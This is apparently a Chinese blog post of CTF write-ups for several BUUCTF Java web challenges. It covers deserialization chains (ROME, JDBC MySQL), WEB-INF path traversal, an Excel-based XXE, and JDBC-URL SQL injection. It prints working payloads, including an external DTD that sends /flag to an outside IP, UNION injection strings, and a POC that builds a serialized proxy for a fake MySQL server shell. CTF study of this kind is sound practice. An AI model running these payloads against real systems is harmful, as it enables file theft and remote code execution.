java刷题 -buuctf -1

[NewStarCTF 公开赛赛道]Rome

核心逻辑:

public class SerController {
  @GetMapping({"/"})
  @ResponseBody
  public String helloCTF() {
    return "Do you like Jvav?";
  }
  
  @PostMapping({"/"})
  @ResponseBody
  public String helloCTF(@RequestParam String EXP) throws IOException, ClassNotFoundException {
    if (EXP.equals(""))
      return "Do you know Rome Serializer?"; 
    byte[] exp = Base64.getDecoder().decode(EXP);
    ByteArrayInputStream bytes = new ByteArrayInputStream(exp);
    ObjectInputStream objectInputStream = new ObjectInputStream(bytes);
    objectInputStream.readObject();
    return "Do You like Jvav?";
  }
}

存在依赖:

<groupId>rome</groupId>
			<artifactId>rome</artifactId>
			<version>1.0</version>

没有waf,直接打ROME链即可.
image

这题实际拆包发现还存在Jackson依赖,而且版本也是有链子的,但是打不通,猜测是因为没有spring-aop

[RoarCTF 2019]Easy Java

黑盒测试,上来给了个登录框,点击以后跳转到路由/Download?filename=help.docx,然而然而没有成功下载,必须是POST发包才能下载.这里存在任意文件下载漏洞,java中敏感文件的位置如下.

 WEB-INF主要包含一下文件或目录: 
/WEB-INF/web.xml:Web应用程序配置文件,描述了 servlet 和其他的应用组件配置及命名规则。 
/WEB-INF/classes/:含了站点所有用的 class 文件,包括 servlet class 和非servlet class,他们不能包含在 .jar文件中 
/WEB-INF/lib/:存放web应用需要的各种JAR文件,放置仅在这个应用中要求使用的jar文件,如数据库驱动jar文件 
/WEB-INF/src/:源码目录,按照包名结构放置各个java文件。 
/WEB-INF/database.properties:数据库配置文件

读取/WEB-INF/web.xml发现存在如下映射:

<servlet>
        <servlet-name>FlagController</servlet-name>
        <servlet-class>com.wm.ctf.FlagController</servlet-class>
    </servlet>
    <servlet-mapping>
        <servlet-name>FlagController</servlet-name>
        <url-pattern>/Flag</url-pattern>
    </servlet-mapping>

去读取/WEB-INF/classes/com/wm/ctf/FlagController.class,对其中的串base64解码即可得到flag.

[网鼎杯 2020 青龙组]filejava

发现存在一个任意文件上传的漏洞,传了一个jsp马以后发现存在任意文件下载漏洞,尝试通过路径遍历来读取配置文件.

/DownloadServlet?filename=../../../../WEB-INF/web.xml

得到web.xml如下

<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
         version="4.0">
    <servlet>
        <servlet-name>DownloadServlet</servlet-name>
        <servlet-class>cn.abc.servlet.DownloadServlet</servlet-class>
    </servlet>

    <servlet-mapping>
        <servlet-name>DownloadServlet</servlet-name>
        <url-pattern>/DownloadServlet</url-pattern>
    </servlet-mapping>

    <servlet>
        <servlet-name>ListFileServlet</servlet-name>
        <servlet-class>cn.abc.servlet.ListFileServlet</servlet-class>
    </servlet>

    <servlet-mapping>
        <servlet-name>ListFileServlet</servlet-name>
        <url-pattern>/ListFileServlet</url-pattern>
    </servlet-mapping>

    <servlet>
        <servlet-name>UploadServlet</servlet-name>
        <servlet-class>cn.abc.servlet.UploadServlet</servlet-class>
    </servlet>

    <servlet-mapping>
        <servlet-name>UploadServlet</servlet-name>
        <url-pattern>/UploadServlet</url-pattern>
    </servlet-mapping>
</web-app>

将出现的三个类依次下载下来

/DownloadServlet?filename=../../../../WEB-INF/classes/cn/abc/servlet/UploadServlet.class
/DownloadServlet?filename=../../../../WEB-INF/classes/cn/abc/servlet/ListFileServlet.class
/DownloadServlet?filename=../../../../WEB-INF/classes/cn/abc/servlet/DownloadServlet.class

发现任意文件下载那把直接读flag给堵死了.其中上传的逻辑如下.

public class UploadServlet extends HttpServlet {
    private static final long serialVersionUID = 1L;

    public UploadServlet() {
    }

    protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
        this.doPost(request, response);
    }

    protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
        String savePath = this.getServletContext().getRealPath("/WEB-INF/upload");
        String tempPath = this.getServletContext().getRealPath("/WEB-INF/temp");
        File tempFile = new File(tempPath);
        if (!tempFile.exists()) {
            tempFile.mkdir();
        }

        String message = "";

        try {
            DiskFileItemFactory factory = new DiskFileItemFactory();
            factory.setSizeThreshold(102400);
            factory.setRepository(tempFile);
            ServletFileUpload upload = new ServletFileUpload(factory);
            upload.setHeaderEncoding("UTF-8");
            upload.setFileSizeMax(1048576L);
            upload.setSizeMax(10485760L);
            if (!ServletFileUpload.isMultipartContent(request)) {
                return;
            }

            List<FileItem> list = upload.parseRequest(request);
            Iterator var10 = list.iterator();

            label56:
            while(true) {
                while(true) {
                    if (!var10.hasNext()) {
                        break label56;
                    }

                    FileItem fileItem = (FileItem)var10.next();
                    String filename;
                    String fileExtName;
                    if (fileItem.isFormField()) {
                        filename = fileItem.getFieldName();
                        fileExtName = fileItem.getString("UTF-8");
                    } else {
                        filename = fileItem.getName();
                        if (filename != null && !filename.trim().equals("")) {
                            fileExtName = filename.substring(filename.lastIndexOf(".") + 1);
                            InputStream in = fileItem.getInputStream();
                            if (filename.startsWith("excel-") && "xlsx".equals(fileExtName)) {
                                try {
                                    Workbook wb1 = WorkbookFactory.create(in);
                                    Sheet sheet = wb1.getSheetAt(0);
                                    System.out.println(sheet.getFirstRowNum());
                                } catch (InvalidFormatException var20) {
                                    InvalidFormatException e = var20;
                                    System.err.println("poi-ooxml-3.10 has something wrong");
                                    e.printStackTrace();
                                }
                            }

                            String saveFilename = this.makeFileName(filename);
                            request.setAttribute("saveFilename", saveFilename);
                            request.setAttribute("filename", filename);
                            String realSavePath = this.makePath(saveFilename, savePath);
                            FileOutputStream out = new FileOutputStream(realSavePath + "/" + saveFilename);
                            byte[] buffer = new byte[1024];
                            int len = false;

                            int len;
                            while((len = in.read(buffer)) > 0) {
                                out.write(buffer, 0, len);
                            }

                            in.close();
                            out.close();
                            message = "文件上传成功!";
                        }
                    }
                }
            }
        } catch (FileUploadException var21) {
            FileUploadException e = var21;
            e.printStackTrace();
        }

        request.setAttribute("message", message);
        request.getRequestDispatcher("/ListFileServlet").forward(request, response);
    }

    private String makeFileName(String filename) {
        return UUID.randomUUID().toString() + "_" + filename;
    }

    private String makePath(String filename, String savePath) {
        int hashCode = filename.hashCode();
        int dir1 = hashCode & 15;
        int dir2 = (hashCode & 240) >> 4;
        String dir = savePath + "/" + dir1 + "/" + dir2;
        File file = new File(dir);
        if (!file.exists()) {
            file.mkdirs();
        }

        return dir;
    }
}

只能传excel文件.想到了poi-ooxml-3.10-FINAL.jar及以下版本利用excel进行xxe的洞(CVE-2014-3529).
首先创建一个excel-lbz.xlsx文件,然后将其以压缩包形式打开,修改其中的[Content-Types].xml文件,在第二行添加如下内容:

<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://vps/file.dtd">
%remote;%int;%send;
]>

image

然后再在vps上创建一个file.dtd文件,内容如下:

<!ENTITY % file SYSTEM "file:///flag">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://123.57.23.40:1111?p=%file;'>">

通过file协议读文件,vps监听1111端口,上传excel文件即可得到flag.
image

[网鼎杯 2020 朱雀组]Think Java

给出了部分源码.在其中的SqlDict.class中存在sql注入漏洞

public class SqlDict {
    public SqlDict() {
    }

    public static Connection getConnection(String dbName, String user, String pass) {
        Connection conn = null;

        try {
            Class.forName("com.mysql.jdbc.Driver");
            if (dbName != null && !dbName.equals("")) {
                dbName = "jdbc:mysql://mysqldbserver:3306/" + dbName;
            } else {
                dbName = "jdbc:mysql://mysqldbserver:3306/myapp";
            }

            if (user == null || dbName.equals("")) {
                user = "root";
            }

            if (pass == null || dbName.equals("")) {
                pass = "abc@12345";
            }

            conn = DriverManager.getConnection(dbName, user, pass);
        } catch (ClassNotFoundException var5) {
            ClassNotFoundException var5 = var5;
            var5.printStackTrace();
        } catch (SQLException var6) {
            SQLException var6 = var6;
            var6.printStackTrace();
        }

        return conn;
    }

    public static List<Table> getTableData(String dbName, String user, String pass) {
        List<Table> Tables = new ArrayList();
        Connection conn = getConnection(dbName, user, pass);
        String TableName = "";

        try {
            Statement stmt = conn.createStatement();
            DatabaseMetaData metaData = conn.getMetaData();
            ResultSet tableNames = metaData.getTables((String)null, (String)null, (String)null, new String[]{"TABLE"});

            while(tableNames.next()) {
                TableName = tableNames.getString(3);
                Table table = new Table();
                String sql = "Select TABLE_COMMENT from INFORMATION_SCHEMA.TABLES Where table_schema = '" + dbName + "' and table_name='" + TableName + "';";
                ResultSet rs = stmt.executeQuery(sql);

                while(rs.next()) {
                    table.setTableDescribe(rs.getString("TABLE_COMMENT"));
                }

                table.setTableName(TableName);
                ResultSet data = metaData.getColumns(conn.getCatalog(), (String)null, TableName, "");
                ResultSet rs2 = metaData.getPrimaryKeys(conn.getCatalog(), (String)null, TableName);

                String PK;
                for(PK = ""; rs2.next(); PK = rs2.getString(4)) {
                }

                while(data.next()) {
                    Row row = new Row(data.getString("COLUMN_NAME"), data.getString("TYPE_NAME"), data.getString("COLUMN_DEF"), data.getString("NULLABLE").equals("1") ? "YES" : "NO", data.getString("IS_AUTOINCREMENT"), data.getString("REMARKS"), data.getString("COLUMN_NAME").equals(PK) ? "true" : null, data.getString("COLUMN_SIZE"));
                    table.list.add(row);
                }

                Tables.add(table);
            }
        } catch (SQLException var16) {
            SQLException var16 = var16;
            var16.printStackTrace();
        }

        return Tables;
    }
}

而这个dbName是用户可控的,因此产生了sql注入漏洞.重点是bypass这里

if (dbName != null && !dbName.equals("")) {
                dbName = "jdbc:mysql://mysqldbserver:3306/" + dbName;
            } else {
                dbName = "jdbc:mysql://mysqldbserver:3306/myapp";
            }

jdbc协议的解析方式类似于URL解析,会自动忽视锚点#后面的东西,因此可以通过构造dbName=myapp#' xxx #来bypass同时构成sql注入漏洞.
在Test.class中发现导入了如下的包

import io.swagger.annotations.ApiOperation;

swagger-ui是一个便于测试的接口组件,我们访问swagger-ui.html看到如下三个查询接口:
image

在最下面的接口处进行sql注入:

dbName=myapp#' union select group_concat(table_name)from(information_schema.tables)where(table_schema='myapp')#
结果
user

dbName=myapp#' union select group_concat(column_name)from(information_schema.columns)where((table_schema='myapp')and(table_name='user'))#
结果
id,name,pwd

dbName=myapp#' union select group_concat(id)from(user)#
结果 1
dbName=myapp#' union select group_concat(name)from(user)#
结果 admin
dbName=myapp#' union select group_concat(pwd)from(user)#
结果 admin@Rrrr_ctf_asde

/common/user/login处提交用户名和密码,得到了一个奇怪的串

{
  "password": "admin@Rrrr_ctf_asde",
  "username": "admin"
}
Bearer rO0ABXNyABhjbi5hYmMuY29yZS5tb2RlbC5Vc2VyVm92RkMxewT0OgIAAkwAAmlkdAAQTGphdmEvbGFuZy9Mb25nO0wABG5hbWV0ABJMamF2YS9sYW5nL1N0cmluZzt4cHNyAA5qYXZhLmxhbmcuTG9uZzuL5JDMjyPfAgABSgAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAAAAAAAAXQABWFkbWlu

这是一个token,其中的编码形式看着像是base64,解码一下发现似乎是一种序列化的数据.
补档:

在java中序列化的结果base64表示通常以rO0AB开头,hex表示通常以aced开头

/common/user/current处提交这个串,发现能够回显用户信息.在此处提交这个串,抓包发送到Deserialization Scanner,去破解服务器中的依赖:
image

发现存在ROME链可以打.
image

接个shell拿到flag

[羊城杯 2020]A Piece Of Java

白盒审计题,先将项目结构恢复.其中的部分依赖需要手动导入.贴一下有用的代码:
MainController.java

@Controller
public class MainController {
  @GetMapping({"/index"})
  public String index(@CookieValue(value = "data", required = false) String cookieData) {
    if (cookieData != null && !cookieData.equals(""))
      return "redirect:/hello"; 
    return "index";
  }
  
  @PostMapping({"/index"})
  public String index(@RequestParam("username") String username, @RequestParam("password") String password, HttpServletResponse response) {
    UserInfo userinfo = new UserInfo();
    userinfo.setUsername(username);
    userinfo.setPassword(password);
    Cookie cookie = new Cookie("data", serialize(userinfo));
    cookie.setMaxAge(2592000);
    response.addCookie(cookie);
    return "redirect:/hello";
  }
  
  @GetMapping({"/hello"})
  public String hello(@CookieValue(value = "data", required = false) String cookieData, Model model) {
    if (cookieData == null || cookieData.equals(""))
      return "redirect:/index"; 
    Info info = (Info)deserialize(cookieData);
    if (info != null)
      model.addAttribute("info", info.getAllInfo()); 
    return "hello";
  }
  
  private String serialize(Object obj) {
    ByteArrayOutputStream baos = new ByteArrayOutputStream();
    try {
      ObjectOutputStream oos = new ObjectOutputStream(baos);
      oos.writeObject(obj);
      oos.close();
    } catch (Exception e) {
      e.printStackTrace();
      return null;
    } 
    return new String(Base64.getEncoder().encode(baos.toByteArray()));
  }
  
  private Object deserialize(String base64data) {
    Object obj;
    ByteArrayInputStream bais = new ByteArrayInputStream(Base64.getDecoder().decode(base64data));
    try {
      SerialKiller serialKiller = new SerialKiller(bais, "serialkiller.conf");
      obj = serialKiller.readObject();
      serialKiller.close();
    } catch (Exception e) {
      e.printStackTrace();
      return null;
    } 
    return obj;
  }
}

InfoInvocationHandler.java

public class InfoInvocationHandler implements InvocationHandler, Serializable {
  private Info info;
  
  public InfoInvocationHandler(Info info) {
    this.info = info;
  }
  
  public Object invoke(Object proxy, Method method, Object[] args) {
    try {
      if (method.getName().equals("getAllInfo") && 
        !this.info.checkAllInfo().booleanValue())
        return null; 
      return method.invoke(this.info, args);
    } catch (Exception e) {
      e.printStackTrace();
      return null;
    } 
  }
}

DatabaseInfo.java

public class DatabaseInfo implements Serializable, Info {
  private String host;
  
  private String port;
  
  private String username;
  
  private String password;
  
  private Connection connection;
  
  public void setHost(String host) {
    this.host = host;
  }
  
  public void setPort(String port) {
    this.port = port;
  }
  
  public void setUsername(String username) {
    this.username = username;
  }
  
  public void setPassword(String password) {
    this.password = password;
  }
  
  public String getHost() {
    return this.host;
  }
  
  public String getPort() {
    return this.port;
  }
  
  public String getUsername() {
    return this.username;
  }
  
  public String getPassword() {
    return this.password;
  }
  
  public Connection getConnection() {
    if (this.connection == null)
      connect(); 
    return this.connection;
  }
  
  private void connect() {
    String url = "jdbc:mysql://" + this.host + ":" + this.port + "/jdbc?user=" + this.username + "&password=" + this.password + "&connectTimeout=3000&socketTimeout=6000";
    try {
      this.connection = DriverManager.getConnection(url);
    } catch (Exception e) {
      e.printStackTrace();
    } 
  }
  
  public Boolean checkAllInfo() {
    if (this.host == null || this.port == null || this.username == null || this.password == null)
      return Boolean.valueOf(false); 
    if (this.connection == null)
      connect(); 
    return Boolean.valueOf(true);
  }
  
  public String getAllInfo() {
    return "Here is the configuration of database, host is " + this.host + ", port is " + this.port + ", username is " + this.username + ", password is " + this.password + ".";
  }
}

info.java

public interface Info {
  Boolean checkAllInfo();
  String getAllInfo();
}

看了一下,存在commons-collections3.2.1依赖,发现在hello路由存在反序列化操作,然而是通过SerialKiller来进行反序列化操作,然而反序列化使用的是.

 SerialKiller serialKiller = new SerialKiller(bais, "serialkiller.conf");
      obj = serialKiller.readObject();
      serialKiller.close();

查看serialkiller.conf,发现仅允许反序列化的出口为java.lang.*或这个软件包内的类.

<?xml version="1.0" encoding="UTF-8"?>
<!-- serialkiller.conf -->
<config>
    <refresh>6000</refresh>
    <mode>
        <!-- set to 'false' for blocking mode -->
        <profiling>false</profiling>
    </mode>
    <blacklist>

    </blacklist>
    <whitelist>
        <regexp>gdufs\..*</regexp>
        <regexp>java\.lang\..*</regexp>
    </whitelist>
</config>

这就很难办,因为原生反序列化都是用集合类java.util.*作为出口的.发现mysql依赖版本为:BOOT-INF.lib.mysql-connector-java-8.0.19.jar,存在jdbc反序列化漏洞.
DatabaseInfo.connect方法中通过命令拼接来构成查询URL,恰好可以触发这个漏洞.

        String url = "jdbc:mysql://" + this.host + ":" + this.port + "/jdbc?user=" + this.username + "&password=" + this.password + "&connectTimeout=3000&socketTimeout=6000";

checkAllInfo调用了这个connect方法,而InfoInvocationHandler调用了这个checkAllInfo方法.InfoInvocationHandler实现了InvocationHandler接口,是用来进行动态代理的.而java.lang.reflect.Proxy.newProxyInstance正是java.lang中的,可以通过黑名单.那么如何触发这个invoke方法呢?回头去看hello路由

Info info = (Info)deserialize(cookieData);
        if (info != null)
            model.addAttribute("info", info.getAllInfo());

会触发info.getAllInfo方法.而在invoke方法中的判断逻辑为:

if (method.getName().equals("getAllInfo") &&
                    !this.info.checkAllInfo().booleanValue())
                return null;
            return method.invoke(this.info, args);

所以说明这是唯一且正确的途径.总结得出gadget如下

gadget:
DatabaseInfo.getAllInfo
    InfoInvocationHandler.Invoke
        DatabaseInfo.checkAllInfo
            DatabaseInfo.connect
                java.sql.DriverManager.getConnection

写出poc如下:

package gdufs.challenge.web;

import gdufs.challenge.web.invocation.InfoInvocationHandler;
import gdufs.challenge.web.model.DatabaseInfo;
import gdufs.challenge.web.model.Info;

import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.util.Base64;

public class POC {
    public static void main(String[] args) throws IOException {
        Info info = new DatabaseInfo();

        ((DatabaseInfo) info).setHost("123.57.23.40");
        ((DatabaseInfo) info).setPort("3308");
        ((DatabaseInfo) info).setUsername("u70d5c5");
        ((DatabaseInfo) info).setPassword("root&autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor");

        Info ProxyInfo = (Info) java.lang.reflect.Proxy.newProxyInstance(
                info.getClass().getClassLoader(),
                info.getClass().getInterfaces(),
                new InfoInvocationHandler(info)
        );

        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(ProxyInfo);
        oos.close();
        System.out.printf(Base64.getEncoder().encodeToString(baos.toByteArray()));
    }
}

web-chains起一个mysql-fake-server,cookie中添加序列化结果成功拿shell
image

posted @   meraklbz  阅读(5)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· winform 绘制太阳,地球,月球 运作规律
· 震惊!C++程序真的从main开始吗?99%的程序员都答错了
· AI与.NET技术实操系列(五):向量存储与相似性搜索在 .NET 中的实现
· 超详细:普通电脑也行Windows部署deepseek R1训练数据并当服务器共享给他人
· 【硬核科普】Trae如何「偷看」你的代码?零基础破解AI编程运行原理
点击右上角即可分享
微信分享提示